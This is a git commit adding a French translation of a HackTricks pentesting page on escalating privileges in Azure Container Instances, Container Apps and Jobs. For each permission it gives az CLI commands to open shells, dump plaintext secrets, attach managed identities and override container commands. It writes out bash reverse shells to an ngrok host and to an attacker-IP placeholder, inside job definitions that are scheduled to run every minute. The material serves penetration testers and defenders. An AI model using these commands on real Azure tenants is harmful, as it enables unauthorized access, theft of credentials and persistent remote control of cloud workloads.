Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-02-25 22:36:52 +00:00
parent 7900950879
commit 046b20f6e9

View File

@@ -0,0 +1,177 @@
# Az - Azure Container Instances, Apps & Jobs Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Instances, Apps & Jobs
Pour plus d'informations, consultez :
{{#ref}}
../az-services/az-container-instances-apps-jobs.md
{{#endref}}
## ACI
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
Ces permissions permettent à l'utilisateur de **exécuter une commande** dans un conteneur en cours d'exécution. Cela peut être utilisé pour **escalader les privilèges** dans le conteneur s'il a une identité gérée attachée. Bien sûr, il est également possible d'accéder au code source et à toute autre information sensible stockée à l'intérieur du conteneur.
Obtenir un shell est aussi simple que :
```bash
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
```
Il est également possible de **lire la sortie** du conteneur avec :
```bash
az container attach --name <container-name> --resource-group <res-group>
```
Ou obtenez les journaux avec :
```bash
az container logs --name <container-name> --resource-group <res-group>
```
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Ces autorisations permettent de **lier une identité gérée par l'utilisateur** à un groupe de conteneurs. Cela est très utile pour élever les privilèges dans le conteneur.
Pour lier une identité gérée par l'utilisateur à un groupe de conteneurs :
```bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Ces autorisations permettent de **créer ou mettre à jour un groupe de conteneurs** avec une **identité gérée par l'utilisateur** qui y est attachée. Cela est très utile pour élever les privilèges dans le conteneur.
```bash
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
```
De plus, il est également possible de mettre à jour un groupe de conteneurs existant en ajoutant par exemple l'argument **`--command-line`** avec un reverse shell.
## ACA
### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`
Ces autorisations permettent à l'utilisateur de **get a shell** dans un conteneur d'application en cours d'exécution. Cela peut être utilisé pour **escalate privileges** dans le conteneur s'il a une identité gérée attachée. Bien sûr, il est également possible d'accéder au code source et à toute autre information sensible stockée à l'intérieur du conteneur.
```bash
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
```
### `Microsoft.App/containerApps/listSecrets/action`
Cette permission permet d'obtenir le **texte clair des secrets** configurés à l'intérieur d'une application de conteneur. Notez que les secrets peuvent être configurés avec le texte clair ou avec un lien vers un coffre-fort de clés (dans ce cas, l'application aura une identité gérée assignée avec accès aux secrets).
```bash
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Ces permissions permettent de **lier une identité gérée par l'utilisateur** à une application de conteneur. Cela est très utile pour élever les privilèges dans le conteneur. L'exécution de cette action depuis l'az cli nécessite également la permission `Microsoft.App/containerApps/listSecrets/action`.
Pour lier une identité gérée par l'utilisateur à un groupe de conteneurs :
```bash
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`
Ces autorisations permettent de **créer ou mettre à jour un conteneur d'application** avec une **identité gérée par l'utilisateur** qui y est attachée. Cela est très utile pour élever les privilèges dans le conteneur.
```bash
# Get environments
az containerapp env list --resource-group Resource_Group_1
# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
```
> [!TIP]
> Notez qu'avec ces permissions, **d'autres configurations de l'application** peuvent être modifiées, ce qui pourrait permettre d'effectuer d'autres attaques de privesc et de post-exploitation en fonction de la configuration des applications existantes.
## Jobs
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
Bien que les jobs ne soient pas de longue durée comme les applications de conteneurs, vous pouvez exploiter la capacité de remplacer la configuration de commande du job lors du démarrage d'une exécution. En créant un modèle de job personnalisé (par exemple, en remplaçant la commande par défaut par un shell inversé), vous pouvez obtenir un accès shell dans le conteneur qui exécute le job.
```bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the containers command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
```
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`
Si vous avez ces autorisations, vous pouvez lister tous les secrets (première autorisation) à l'intérieur d'un conteneur de Job et ensuite lire les valeurs des secrets configurés.
```bash
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
```
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
Si vous avez la permission de modifier la configuration d'un job, vous pouvez attacher une identité gérée assignée par l'utilisateur. Cette identité peut avoir des privilèges supplémentaires (par exemple, accès à d'autres ressources ou secrets) qui peuvent être exploités pour élever les privilèges à l'intérieur du conteneur.
```bash
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
```
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Si vous pouvez créer un nouveau Container Apps Job (ou mettre à jour un existant) et attacher une identité gérée, vous pouvez concevoir le job pour exécuter un payload qui élève les privilèges. Par exemple, vous pourriez créer un nouveau job qui non seulement exécute un reverse shell mais utilise également les identifiants de l'identité gérée pour demander des tokens ou accéder à d'autres ressources.
```bash
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
```
> [!TIP]
> Cette commande générera une erreur si vous n'avez pas la permission `Microsoft.App/jobs/read`, bien que le Job sera créé.
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
Il semble qu'avec ces permissions, il devrait être possible de démarrer un job. Cela pourrait être utilisé pour démarrer un job avec un reverse shell ou toute autre commande malveillante sans avoir besoin de modifier la configuration du job.
Je n'ai pas réussi à le faire fonctionner, mais selon les paramètres autorisés, cela devrait être possible.
{{#include ../../../banners/hacktricks-training.md}}